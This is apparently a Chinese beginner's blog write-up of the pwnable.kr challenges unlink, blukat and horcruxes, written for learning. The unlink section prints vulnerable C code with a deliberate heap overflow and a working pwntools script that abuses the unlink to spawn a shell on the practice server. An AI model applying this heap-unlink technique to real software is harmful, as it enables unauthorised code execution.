小白pwn之旅之pwnable09

pwnable----unlink,blukat和horcruxer

unlink

  1. 看源代碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
  1. 分析

這道題目就是堆溢出的經典利用題目

  1. 構造代碼
from pwn import *
 
shell_addr = 0x080484eb
 
s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = p32(shell_addr)
payload += 'a'*12
#payload += p32(heap_addr + 12)
#payload += p32(stack_addr + 0x10)
 
payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )
 
p.send(payload)
p.interactive()

在這裏插入圖片描述

blukat

  1. 看代碼
    在這裏插入圖片描述
  2. 分析

發現只要你輸入的buff等於password就可以get flag

  1. get flag
    如何得到password?
    用ls -al命令你會發現password是可以讀的
    那就簡單了
    在這裏插入圖片描述

horcruxes

  1. 這是一道rop的題,什麼是rop?rop對我來說就是你可以jmp到call,retn,就是跳轉執行。
  2. 如果你不會,那我們就可以去看別人的博客,嘿嘿
  3. 別人的博客

下面是我認爲講得很好的pwn入門:

https://www.bilibili.com/video/BV1SJ411s7MW?from=search&seid=529348470335844400

總結

到此歷時10天,把pwnable.kr的‘奶瓶’階段做完了,發現彙編還真的挺難的,看完了王爽的彙編,還是有太多的不懂。慢慢來吧
最後送給自己一句話:

你可以像豬一樣活着,但你不會像豬一樣快樂。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章